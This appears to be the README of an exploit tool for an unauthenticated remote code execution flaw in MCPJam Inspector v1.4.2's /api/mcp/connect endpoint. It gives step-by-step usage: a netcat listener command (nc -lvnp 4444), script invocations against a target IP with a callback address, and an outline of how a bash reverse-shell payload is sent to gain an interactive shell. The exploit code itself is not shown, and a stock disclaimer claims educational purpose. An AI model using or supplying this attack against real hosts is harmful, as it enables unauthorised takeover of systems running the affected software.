MCPJam Inspector v1.4.2 - RCE Exploit

Vulnerability Description

MCPJam Inspector contains an unauthenticated Remote Code Execution (RCE) vulnerability in the /api/mcp/connect endpoint. The vulnerability allows attackers to execute arbitrary commands by sending a malicious MCP server configuration payload.

The endpoint accepts a JSON payload with a serverConfig object containing a command and args array, which are executed directly on the system without proper validation or sanitization.

Affected Versions

• MCPJam Inspector v1.4.2 and likely earlier versions

Usage

Prerequisites

• Python 3.6+
• requests library: pip install requests
• netcat or socat for listener

Quick Start

Terminal 1 - Start Listener:

nc -lvnp 4444

Terminal 2 - Run Exploit:

python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 4444

Examples

# Default (port 6274, callback port 4444)
python3 script.py <TARGET_IP> -l <YOUR_IP>

# Custom MCPJam port
python3 script.py <TARGET_IP> -p 6274 -l <YOUR_IP>

# Custom listener port
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 5555

How It Works

1. Script verifies MCPJam is accessible at the target
2. Constructs a malicious MCP server payload with bash reverse shell
3. Sends the payload to /api/mcp/connect endpoint
4. MCPJam processes the command and initiates reverse shell callback
5. User receives interactive shell on listener

Disclaimer

⚠️ DISCLAIMER:

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Users are solely responsible for:

• Obtaining proper authorization before testing any systems
• Compliance with all applicable laws and regulations
• Any damages or legal consequences resulting from misuse

The author assumes no liability for misuse or damages caused by this tool. Use at your own risk.

Technical Details

• Vulnerable Endpoint: /api/mcp/connect
• Method: POST
• Authentication: None required
• Impact: Unauthenticated Remote Code Execution